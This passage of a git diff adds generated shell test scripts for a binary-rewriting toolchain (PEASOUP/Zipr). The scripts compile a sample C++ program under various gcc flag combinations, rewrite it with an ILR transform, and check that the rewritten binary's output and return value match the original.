+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0608bee06570e237d4e476b86717846e76b4db4b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..031782b0a9cfa78e453df441640e96692afe3ba4
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5b1c479525d4294b58261bff8bcfbdcdee6189eb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..61aeddf77c6f14b656e82596030b228667322131
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7f68191b5b58897798f619ac0faa7e9ef203cf3e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..48eb6e6ee9216b0b201fd3b267bd04ec49a38f77
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
